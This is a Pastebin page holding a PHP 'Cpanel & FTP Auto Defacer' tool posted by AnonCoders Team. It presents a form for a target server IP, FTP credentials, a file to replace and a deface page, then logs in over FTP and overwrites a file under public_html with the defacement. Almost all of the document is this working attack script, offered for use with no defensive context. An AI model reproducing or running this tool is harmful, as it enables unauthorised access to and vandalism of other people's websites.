Advertisement
AnonCoders_Team

Cpanel & FTP Auto Defacer By AnonCoders Team [PHP]

Jul 5th, 2015
432
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.16 KB | None | 0 0
  1. <?php
  2. @error_reporting(0);
  3. echo '<br><center><span style="font-size:40px; font-family:Westminster ; color:red">Cpanel & FTP Auto Defacer By AnonCoders</span></center>
  4. <br><center><img src="http://s23.postimg.org/z2jxcild7/Screenshot_0.jpg" /></center>';
  5. echo"<table width='100%' cellspacing='0' cellpadding='0' class='tb1' >
  6. <td width='100%' align=center valign='top' rowspan='1'><div class='hedr'>
  7. <td height='10' align='left' class='td1'></td></tr><tr><td
  8. width='100%' align='center' valign='top' rowspan='1'>
  9. <font color='gold' face='comic sans ms' size='1'><b>
  10. <font color='gold' face='gothic' size='3'></font><br>
  11. <font color='gold'></font>
  12. </table>";
  13.  
  14. echo"<body bgcolor=black><h6 style='text-align:center'><font color=white>
  15. <form method=post><font face=Tahoma size=2 color=gold>
  16. Server IP : &nbsp;<input type=text name=hi value=ip>&nbsp;
  17. Username : &nbsp;<input type=text name=tx value=>&nbsp;
  18. Password : &nbsp;<input type=text name=p value=><br><br>
  19. File That You Want To Deface : </font><input type=text name=ph value='index.php'><br><br>
  20. <font face=Tahoma size=2 color=gold>Deface Page URL -> </font><textarea class='area' rows='1' cols='75' name='deface' value='Your Deface Page Link'></textarea><br><br>
  21. <input type=submit name=sm value='Attack' /><br>
  22. </form>";
  23.  
  24. if(isset($_POST['sm']))
  25. {
  26. $ip=trim($_POST['hi']);
  27. $u=trim($_POST['tx']);
  28. $p=trim($_POST['p']);
  29. $d=trim($_POST['ph']);
  30. $df=trim($_POST['deface']);
  31. echo "<br><font color=white size=2>";
  32. echo "<font color=gold size=4>Server IP ==></font>&nbsp".$ip;
  33. echo "<br><font color=gold size=4>User ==></font> &nbsp".$u;
  34. echo "<br><font color=gold size=4>Password ==></font> &nbsp".$p;
  35. echo "<br><font color=gold size=4>Directory ==></font> &nbsp".$d;
  36. echo "<br><font color=gold size=4>Deface Page Link ==></font><br>".$df."<br>";
  37. $dl="public_html/".$d;
  38. $si= ftp_connect($ip);
  39.  
  40. $try= ftp_login($si,$u,$p);
  41. if ((!$si) || (!$try))
  42. {
  43. echo "<br>Can Not Connect , Fill Out All Correctly ";
  44. exit;
  45. }
  46. else
  47. {
  48. echo "<br>Connected<br>AnonCoders Attack<br>";
  49. }
  50. $deface = ftp_put($si, $dl , $df, FTP_BINARY);
  51. if ($deface)
  52. {
  53. echo "Page Got Defaced Succesfully >";
  54. }
  55. else
  56. {
  57. echo "Try Manually";
  58. }
  59. }
  60. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement